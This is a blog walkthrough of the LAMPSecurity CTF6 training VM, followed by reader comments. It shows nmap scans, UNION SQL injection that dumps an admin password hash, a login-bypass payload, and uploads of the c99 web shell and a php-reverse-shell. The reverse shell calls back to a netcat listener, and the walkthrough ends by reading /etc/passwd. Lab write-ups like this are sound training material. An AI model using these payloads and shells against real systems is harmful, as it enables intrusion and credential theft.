french version available
Tools
- VMWare,- nmap
- dirbuster - http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
- netcat ( version Windows - http://joncraton.org/files/nc111nt.zip )
- php-reverse-shell - http://pentestmonkey.net/tools/php-reverse-shell/
- c99 http://www.milw0rm.biz/c99.txt
- module firefox Firebug - https://addons.mozilla.org/fr/firefox/addon/1843/
- module firefox liveHttpHeaders - https://addons.mozilla.org/fr/firefox/addon/3829/
Preliminaries
start
Download the virtual machine (VM) from http://sourceforge.net/projects/lampsecurity/. To learn how to use VMWare, you can read the article Basics 1 - making the lab - how to use VMWare [1]. Switch the network parameter from Bridge to Nat. For the NAT subnet address: Edit -> Virtual Nework Editor

Here, you use 192.168.0.0/24.
Start the VM. When the start-up process is over, the VM asks for identification. The server is active. What is its IP address and the services provided?
Web on an Apache server:
- http
- https
Administration:
- ssh
- mySQL
mail:
- imap
- pop
- imaps
- pops
The VM is a Linux kernel 2.6.X.

- Log In (login/password),
- http://192.168.0.52/?id=1 (or 2,3,4)

Add ' to the query :. http://192.168.0.52/?id=1'

You can see that the page changed, without any 404 error.The server does not check client entries.
That means that 7 fields are searched for in the SQL database to generate this page.
The query UNION provides a result only if the number of fields on left side is the same as right side. (here 7).
Remark, fields 1, 4 and 8 do not appear but can be found in webpage source. For example, 4 corresponds to the srce of the picture.

- user
- log
- event
Here, you use 192.168.0.0/24.
Start the VM. When the start-up process is over, the VM asks for identification. The server is active. What is its IP address and the services provided?
Find the IP address
Start NMAP, with PING option on the whole subnet.# nmap -sP -PE -PA21,23,80,3389 192.168.0.0/24The result is 192.168.0.52
Starting Nmap 5.30BETA1 ( http://nmap.org ) at 2010-06-01 09:45 Paris, Madrid (heure d’été)
Nmap scan report for 192.168.0.1
Host is up.
Nmap scan report for 192.168.0.52
Host is up (0.0010s latency).
MAC Address: 00:0C:29:EC:C4:25 (VMware)
Nmap scan report for 192.168.0.252
Host is up (0.00s latency).
MAC Address: 00:50:56:E5:4E:88 (VMware)
Nmap done: 256 IP addresses (3 hosts up) scanned in 39.27 seconds
services?
Start a deep scan on IP address 192.168.0.52# nmap -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 192.168.0.52The results are :
Starting Nmap 5.21 ( http://nmap.org ) at 2010-05-24 11:42 Paris, Madrid (heure d’été)
NSE: Loaded 36 scripts for scanning.
Initiating ARP Ping Scan at 11:42
Scanning 192.168.0.52 [1 port]
Completed ARP Ping Scan at 11:42, 2.74s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:42
Completed Parallel DNS resolution of 1 host. at 11:42, 11.00s elapsed
Initiating SYN Stealth Scan at 11:42
Scanning 192.168.0.52 [1000 ports]
Discovered open port 22/tcp on 192.168.0.52
Discovered open port 995/tcp on 192.168.0.52
Discovered open port 111/tcp on 192.168.0.52
Discovered open port 110/tcp on 192.168.0.52
Discovered open port 143/tcp on 192.168.0.52
Discovered open port 3306/tcp on 192.168.0.52
Discovered open port 443/tcp on 192.168.0.52
Discovered open port 80/tcp on 192.168.0.52
Discovered open port 993/tcp on 192.168.0.52
Completed SYN Stealth Scan at 11:43, 1.31s elapsed (1000 total ports)
Initiating Service scan at 11:43
Scanning 9 services on 192.168.0.52
Completed Service scan at 11:43, 19.02s elapsed (9 services on 1 host)
Initiating RPCGrind Scan against 192.168.0.52 at 11:43
Completed RPCGrind Scan against 192.168.0.52 at 11:43, 0.01s elapsed (1 port)
Initiating OS detection (try #1) against 192.168.0.52
NSE: Script scanning 192.168.0.52.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 11:43
Completed NSE at 11:43, 1.23s elapsed
NSE: Script Scanning completed.
Nmap scan report for 192.168.0.52
Host is up (0.0016s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 1024 14:a9:f4:11:dc:2c:4e:0d:45:6c:99:11:22:29:03:bc (DSA)
|_2048 45:58:6c:98:3e:97:2a:da:e2:b8:6a:84:d4:6a:be:26 (RSA)
80/tcp open http Apache httpd 2.2.3 ((CentOS))
|_html-title: CTF 6 - Widgets Inc.
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: USER CAPA UIDL TOP OK(K) RESP-CODES PIPELINING STLS SASL(PLAIN)
111/tcp open rpcbind 2 (rpc #100000)
| rpcinfo:
| 100000 2 111/udp rpcbind
| 100024 1 610/udp status
| 100000 2 111/tcp rpcbind
|_100024 1 613/tcp status
143/tcp open imap Dovecot imapd
|_imap-capabilities: LOGIN-REFERRALS AUTH=PLAIN UNSELECT THREAD=REFERENCES STARTTLS IMAP4rev1 NAMESPACE SORT CHILDREN LITERAL+ IDLE SASL-IR MULTIAPPEND
443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))
|_html-title: CTF 6 - Widgets Inc.
993/tcp open ssl/imap Dovecot imapd
|_sslv2: server still supports SSLv2
|_imap-capabilities: LOGIN-REFERRALS UNSELECT THREAD=REFERENCES AUTH=PLAIN IMAP4rev1 NAMESPACE SORT CHILDREN LITERAL+ IDLE SASL-IR MULTIAPPEND
995/tcp open ssl/pop3 Dovecot pop3d
|_sslv2: server still supports SSLv2
|_pop3-capabilities: OK(K) CAPA RESP-CODES UIDL PIPELINING USER TOP SASL(PLAIN)
3306/tcp open mysql MySQL 5.0.45
| mysql-info: Protocol: 10
| Version: 5.0.45
| Thread ID: 5
| Some Capabilities: Connect with DB, Compress, Transactions, Secure Connection
| Status: Autocommit
|_Salt: {LHc=CxV#I'&'0[Z3/0B
MAC Address: 00:0C:29:EC:C4:25 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.9 - 2.6.28
Uptime guess: 0.006 days (since Mon May 24 11:34:08 2010)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros
HOP RTT ADDRESS
1 1.58 ms 192.168.0.52
Read data files from: C:\Program Files\Nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.65 seconds
Raw packets sent: 1027 (45.948KB) | Rcvd: 1021 (41.608KB)
Web on an Apache server:
- http
- https
Administration:
- ssh
- mySQL
mail:
- imap
- pop
- imaps
- pops
The VM is a Linux kernel 2.6.X.
Web server
Start Firefox:Entry points
Search for some entry point by visiting the site. The results are:- Log In (login/password),
- http://192.168.0.52/?id=1 (or 2,3,4)
1st SQL injection (/?id=1)
A SQL injection is the action to put a SQL query in a HTTP query to show anormal results in the returning webpage.Is there a SQL injection?
Here is the normal query: http://192.168.0.52/?id=1Add ' to the query :. http://192.168.0.52/?id=1'
You can see that the page changed, without any 404 error.The server does not check client entries.
How many SQL fields in the page?
Send successively the following queries:http://192.168.0.52?id=1 UNION SELECT 1The seventh makes the page change:
http://192.168.0.52/?id=1 UNION SELECT 1,2
http://192.168.0.52/?id=1 UNION SELECT 1,2,3
http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4
http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5
http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5,6
http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5,6,7
The query UNION provides a result only if the number of fields on left side is the same as right side. (here 7).
Remark, fields 1, 4 and 8 do not appear but can be found in webpage source. For example, 4 corresponds to the srce of the picture.
(...)
Posted by: 7
3
(...)
Find version and current user of SQL database
Use two special SQL functions: user() and version().http://192.168.0.52/?id=1 UNION SELECT 1,user(),version(),4,5,6,7
List SQL database table
To list the tables of the SQL database, use the special table information_schema [3]. The specific function database() provides the name of the current database.http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5,6,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database()As a result, you obtain 3 tables:
- user
- log
- event
List user table columns
Now, have a look to "user" table. Let's use the same trick to obtain the columns list of this table.http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5,6,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME = 'user'You obtain:
- user_id
- user_username
- user_password
List username and password entries in the user table
Now, you know the columns titles of the user table, print the couples user_username/user_password.http://192.168.0.52/?id=1 UNION SELECT 1,2,user_username,4,5,6,user_password FROM userResult:
username: admin
password: 25e4ee4e9229397b6b17776bfceaf8e7
google hack: decrypt (weak) password's hash and log on as admin
copy the hash in Google, to obtain the plain text: adminpassBack to the site, log on:
Nous voici admin sur le site Web.
directories dictionnary search
search
The SQL injection provided the admin website connexion credentials. Another (faster) mean: a directories search.Use Owasp dirbuster
You find a SQL directory with a sql.db file. It is a configuration script (forgotten by the admin :). It provides the login and password in plain text!
show php code of temporary files
Surf on the site and add a ~ at the end of each page address. You find: http://192.168.48.136/actions/add_event.php~2nd SQL injection (login)
Let's exploit another injection on form login/password.local javascript protection found wiht firebug
the username/password form is protected (well! well!) by a client javascript to avoid not alphanumeric characters.
In firebug, activate option "Cliquer sur un élément à inspecter dans la page"
then clik on "Log In" to highlight the associated source code. The javascript name is "checkForm()"
bypass javascript local protection, find the injection
To bypass the local javascript protection, use Firefox module Live Http Headers:
Start Live Http Headers:
Click on "Log In", then click in the captured query, and "replay":
Try to bypass "password" field in the query:
username=admin' AND a=a /*&password=
You obtain:
Query error with select user_id from user where user_username = 'admin' AND a=a /*': Unknown column 'a' in 'where clause'
exploitation
The SQL code is interpreted. But the first attempt fails. How can you exploit this injection? Guess the SQL server uses a function (MD5() for example) Let's add a parenthesis in the query:
username=' OR 1=1 #&password=') OR 1=1 #
bingo!
c99: spider the website
Now you are identified as admin, upload c99 through the "add event" form:Let's use the file c99.txt (cf http://www.milw0rm.biz/c99.txt). Rename it as c99.php then upload it:
Create a new event and use "download a picture". Then go to
http://192.168.48.136/files/c99.php
the injection in PHP source code
Let's have a look to the source of index.php (using c99). There is a link to directory "actions"Go to "actions/login.php". The injectionis there:
$sql = "select * from user where user_id = " . $uname->user_id .There is a call to SQL function md5(). The injection makes the code look like:
" AND user_password = md5('" . $_POST['password'] . "')";
$sql = "select * from user where user_id = " . $uname->user_id AND user_password = md5('') AND 1=1";
php-reverse-shell: obtain a shell
upload php-reverse-shell.php.
on the host machine, listen to port 1234
Use Netcat :
démarrer -> exécuter -> CMDOpen TCP port 1234:
C:\netcat>nc
Cmd line: -help
[v1.11 NT www.vulnwatch.org/netcat/]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
C:\netcat>nc
Cmd line: -v -n -l -p 1234
listening on [any] 1234 ...
upload php-reverse-shell
Edit php-reverse-shell.php and change the IP with yours:$ip = '192.168.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
Upload it, using "add event" in the Admin form:
obtain a shell with netcat
Go to http://192.168.0.52/files/php-reverse-shell.phpYou obtain a reverse shell:
print /etc/passwd
From netcat shell :sh-3.2$ cat /etc/passwd | grep /bin/bashYou obtain the list of habilited users of server.
root:x:0:0:root:/root:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
john:x:500:500::/home/john:/bin/bash
linda:x:501:501::/home/linda:/bin/bash
fred:x:502:502::/home/fred:/bin/bash
molly:x:503:503::/home/molly:/bin/bash
toby:x:504:504::/home/toby:/bin/bash
sh-3.2$
privilege escalation
About privilege escalation, check Mysterie tutorial (french) [4]
Conclusion
In this article, you could conduct:
- SQL injection,
- directory search,
- print website spider with c99.php,
- reverse shell php.
references
1 - Infond - Basics 1 Making the lab - How to use VMWare - http://infond.blogspot.com/2010/04/basics-1-making-lab-tutorial-vmware.html
2 - Mohammed Cherifi - Tutoriel SQL injection - http://www.mcherifi.org/hacking/tutoriel-sql-injection-les-classiques.html
3 - MySQL doc - table information_schema - http://dev.mysql.com/doc/refman/5.0/fr/information-schema.html
4 - Mysterie - LampSecurity CTF6 - http://mysterie.fr/blog/index.php?post/2009/07/28/LampSecurity-CTF-6
Très bon tutorial pour apprendre le tout de manière simple. Merci pour le billet.
RépondreSupprimerThanks so much for this great tutorial. I'm always happy to see that people are learning from the LAMP Security exercises that I made so long ago :)
RépondreSupprimer-Mad Irish
I would say you could fix those broken images. This also looks an old post. Where is cookie based POST and other blind and time based injections? update! adapt to updates.
RépondreSupprimer